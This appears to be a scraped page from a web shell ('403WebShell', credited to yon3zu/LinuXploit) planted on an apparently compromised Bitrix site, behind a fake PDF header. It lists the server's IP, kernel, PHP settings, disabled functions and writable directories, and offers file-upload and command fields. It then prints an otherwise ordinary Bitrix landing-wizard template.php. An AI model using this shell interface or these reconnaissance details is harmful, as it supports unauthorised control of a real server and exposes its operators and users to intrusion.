%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.222.120.131
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.site_master/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.site_master/templates/.default//template.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

/** @var \CMain $APPLICATION */
/** @var \LandingSiteMasterComponent $component */
/** @var array $arResult */
/** @var array $arParams */

use \Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

$bodyClass = $APPLICATION->getPageProperty('BodyClass');
$APPLICATION->setPageProperty('BodyClass', ($bodyClass ? $bodyClass . ' ' : '') . 'no-background');

\Bitrix\Main\UI\Extension::load([
	'ui.buttons', 'ui.forms', 'ui.tilegrid',
	'loader', 'sidepanel', 'main.qrcode', 'ui.confetti'
]);

if ($arResult['ERRORS'])
{
	?><div class="landing-message-label error"><?
	foreach ($arResult['ERRORS'] as $error)
	{
		echo $error . '<br/>';
	}
	?></div><?
}
if ($arResult['FATAL'])
{
	return;
}

$step = $arResult['STEP'];
$site = $arResult['SITE'];
$siteId = $arResult['SITE']['ID'];
$stepMax = 4;
$step = max(0, min($step, $stepMax));
?>

<?if ($step != 4):?>
<div class="landing-sm">
	<div class="landing-sm-wrapper">
		<div class="landing-sm-head">
			<div class="landing-sm-head-logo"></div>
			<div class="landing-sm-head-container">
				<div class="landing-sm-head-title"><?= Loc::getMessage('LANDING_TPL_HEAD_TITLE');?></div>
				<div class="landing-sm-head-title landing-sm-head-title--sub"><?= Loc::getMessage('LANDING_TPL_WORKING_ALREADY');?></div>
			</div>
		</div>
		<form method="get" action="<?= POST_FORM_ACTION_URI;?>">
		<input type="hidden" name="IFRAME" value="<?= $component->request('IFRAME') == 'Y' ? 'Y' : 'N';?>" />
		<?= bitrix_sessid_post();?>
		<div class="landing-sm-container">
			<div class="landing-sm-steps">
				<?for ($i = 1; $i <= 3; $i++):?>
				<div class="landing-sm-steps-item<?= ($i == $arResult['STEP']) ? ' landing-sm-steps-item--active' : '';?>">
					<?= Loc::getMessage('LANDING_TPL_STEP' . $i . '_TITLE');?>
				</div>
				<?endfor;?>
			</div>
			<div class="landing-sm-content">
				<div class="landing-sm-content-title"><?= Loc::getMessage('LANDING_TPL_STEP' . $step . '_DESC');?></div>
				<div class="landing-sm-content-wrapper">
					<?include 'steps/step' . $step . '.php';?>
				</div>
				<div class="landing-sm-content-bottom">
					<?if ($step > 1 && $step < $stepMax):?>
						<button type="submit" name="STEP" value="<?= $step - 1;?>" id="landing-master-prev" class="ui-btn ui-btn-lg ui-btn-light-border ui-btn-round">
							<?= Loc::getMessage('LANDING_TPL_FORM_PREV_STEP');?>
						</button>
					<?endif;?>
					<?if ($step < $stepMax):?>
						<button type="submit" name="STEP" value="<?= $step + 1;?>" id="landing-master-next" class="ui-btn ui-btn-lg<?if ($step === 1):?> ui-btn-success<?else:?> ui-btn-light-border<?endif;?> ui-btn-round"<?if ($step === 1):?> style="min-width: 330px;"<?endif;?>>
							<?= Loc::getMessage('LANDING_TPL_FORM_NEXT_STEP');?>
						</button>
					<?else:?>
						<a href="<?= SITE_DIR;?>crm/deal/" target="_top" class="ui-btn ui-btn-lg ui-btn-success ui-btn-round">
							<?= Loc::getMessage('LANDING_TPL_FORM_COMPLETE');?>
						</a>
					<?endif;?>
				</div>
			</div>
		</div>
		</form>
	</div>
	<div class="landing-sm-phone-wrapper">
		<div class="landing-sm-phone">
			<?$lang = LANGUAGE_ID === 'ru' ? 'ru' : 'en';?>
			<?if ($step != 3):?>
				<div class="landing-sm-phone-pic">
				<?if ($step === 1):?>
					<img class="landing-sm-phone-pic-item landing-sm-phone-pic-item--show" src="<?= $component->getComponentTemplate();?>/image/<?=$lang?>/landing-sm-shop-page-7.png" alt="">
				<?elseif ($step === 2):?>
					<img class="landing-sm-phone-pic-item landing-sm-phone-pic-item--show" src="<?= $component->getComponentTemplate();?>/image/<?=$lang?>/landing-sm-shop-page-8.png" alt="">
				<?endif;?>
			</div>
			<?else:?>
			<div class="landing-sm-phone-pic">
				<img class="landing-sm-phone-pic-item" src="<?= $component->getComponentTemplate();?>/image/<?=$lang?>/landing-sm-shop-page-4.png" alt="" data-index="landing-sm-shop-page-step-4">
				<img class="landing-sm-phone-pic-item" src="<?= $component->getComponentTemplate();?>/image/<?=$lang?>/landing-sm-shop-page-5.png" alt="" data-index="landing-sm-shop-page-step-5">
				<div class="landing-sm-phone-qr landing-sm-phone-pic-item landing-sm-phone-pic-item--show" data-index="landing-sm-phone-qr">
					<div class="landing-sm-phone-qr-top"><?= Loc::getMessage('LANDING_TPL_QRCODE_CAMERA');?></div>
					<div class="landing-sm-phone-qr-code" id="landing-master-qrcode"></div>
					<?if ($helpUrl = \Bitrix\Landing\Help::getHelpUrl('QRCODE')):?>
						<a class="landing-sm-phone-qr-link" href="<?= $helpUrl;?>"><?= Loc::getMessage('LANDING_TPL_QRCODE_HOW_SCAN');?></a>
					<?endif;?>
					<div class="landing-sm-phone-qr-bx-logo<?if($lang === 'ru'):?> landing-sm-phone-qr-bx-logo--ru<?endif;?>"></div>
					<div class="landing-sm-phone-qr-bx-logo-text"><?= Loc::getMessage('LANDING_TPL_QRCODE_COPY');?></div>
					<script>
						BX.ready(function()
						{
							new QRCode(BX('landing-master-qrcode'), {
								text: '<?= \CUtil::jsEscape($component->getPageParam($site['SITE_URL'], ['promo' => 'Y']));?>',
								width: 250,
								height: 250
							});
						});
					</script>
				</div>
			</div>
			<?endif;?>
		</div>
	</div>
	<div class="landing-sm-bg"></div>
</div>
<?else:?>
<div class="landing-sm-teaser<?if (!\Bitrix\Landing\Manager::availableOnlyForZone('ru')){?> landing-sm-teaser--en<?}?>" id="landing-sm-teaser-confetti">
	<div class="landing-sm-teaser-head">
		<div class="landing-sm-teaser-title"><?= Loc::getMessage('LANDING_TPL_CONGRATULATIONS');?></div>
		<div class="landing-sm-teaser-title landing-sm-teaser-title--sub"><?= Loc::getMessage('LANDING_TPL_READY_FOR_CLIENTS');?></div>
		<div class="landing-sm-teaser-control">
			<div class="landing-sm-teaser-button">
				<?php if ($component->siteHasOrdersAction($siteId)): ?>
					<?php if (\CCrmSaleHelper::isWithOrdersMode()): ?>
					<a href="<?= SITE_DIR;?>shop/orders/" data-crm-shop-teaser-button="Y" target="_top" class="ui-btn ui-btn-lg ui-btn-success">
						<?= Loc::getMessage('LANDING_TPL_FORM_COMPLETE_ORDER');?>
					</a>
					<?php else: ?>
					<a href="<?= SITE_DIR;?>crm/deal/?redirect_to" data-crm-shop-teaser-button="Y" target="_top" class="ui-btn ui-btn-lg ui-btn-success">
						<?= Loc::getMessage('LANDING_TPL_FORM_COMPLETE_DEAL');?>
					</a>
					<?php endif;?>
				<?php else: ?>
					<a href="<?= SITE_DIR;?>shop/stores/" data-crm-shop-teaser-button="Y" target="_top" class="ui-btn ui-btn-lg ui-btn-success">
						<?= Loc::getMessage('LANDING_TPL_FORM_COMPLETE_SHOP');?>
					</a>
				<?php endif ?>
			</div>
		</div>
	</div>
	<div class="landing-sm-teaser-bottom"></div>
</div>
<script>
	BX.ready(function() {
		var crmShopTeaserButtons = document.querySelectorAll('[data-crm-shop-teaser-button="Y"]');
		for (i = 0; i < crmShopTeaserButtons.length; i++)
		{
			crmShopTeaserButtons[i].addEventListener(
				'click',
				function (event) {
					localStorage.setItem('crmShopMasterJustFinished', 'Y');
				}
			);
		}

		setTimeout(function() {
			BX.UI.Confetti.fire({
				particleCount: 240,
				spread: 170,
				origin: { y: 0.2 }
			});
		}, 2000);
	});
</script>
<?endif;?>

<script>
	BX.ready(function() {
		var buttonNext = document.getElementById('landing-master-next');
		var buttonPrev = document.getElementById('landing-master-prev');

		function showLoader() {
			BX.SidePanel.Instance.getSliderByWindow(window).showLoader();
		}

		if(buttonNext)
			buttonNext.addEventListener('click', showLoader);

		if(buttonPrev)
			buttonPrev.addEventListener('click', showLoader);
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit